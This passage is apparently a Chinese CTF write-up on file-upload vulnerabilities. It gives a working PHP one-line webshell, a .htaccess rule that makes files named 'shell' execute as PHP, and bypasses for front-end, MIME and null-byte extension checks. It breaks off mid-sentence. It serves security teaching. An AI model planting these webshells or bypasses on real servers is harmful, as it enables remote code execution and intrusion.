题目
0x00 原理
在存在文件上传的网页中上传带有恶意代码的文件并让此代码被执行,完成我们想要做的事。在这里,可以考虑上传一句话木马。
下面这行代码就是最常见也是最简单的php一句话木马。
<?php @eval($_POST['hack']);?>
上传并得知文件路径后可以使用中国蚁剑、菜刀、hackbar等工具执行我们想要执行的命令。
注意
这些题目都是最基本的文件上传知识点,请务必不要做多余的、不必要的事,比如给MIME绕过的题目加一个文件头什么的。
0x01 无验证
创建php文件,编辑内容为一句话木马,上传后显示路径。使用蚁剑连接,密码即为$_POST[' ']
中的内容,这里是hack。连接成功后即可在文件目录中找到flag文件。
0x02 前端验证
这里有两种方法。可以考虑禁用网页JS脚本(chrome内核浏览器在设置中)。或者先把一句话木马文件后缀改为png
/jpg
/gif
等允许上传的文件格式,点击上传后再利用Burp抓包将文件后缀改为php。
0x03 .htaccess
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
.htaccess配置文件可以让服务器将特定文件作为php文件格式解析。创建.htaccess文件(文件名就是.htaccess
),编辑内容如下。
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
上传此配置文件后服务器会将所有文件名中含有shell
的文件作为php文件解析。创建一句话木马文件,重命名为shell.png
后上传,直接使用蚁剑连接该图片,可以看到已经连接成功了。
0x04 MIME绕过
服务端MIME类型检测是通过检查http包的Content-Type字段中的值来判断上传文件是否合法的。
媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。它在IETF RFC 6838中进行了定义和标准化。
上传一句话木马文件后抓包修改Content-Type字段为image/png
或image/jpeg
等合法的图片类型即可上传成功。
0x05 00截断
因为php底层是由C实现的,所以php对于字符串的处理也有很多C的特性,比如字符串截止符\0
,利用这一点可以构造诸如xxx.php%00xxx.png这样的文件名,就可以绕过后缀的检测。但本题并不是那么简单。
查看页面源码,在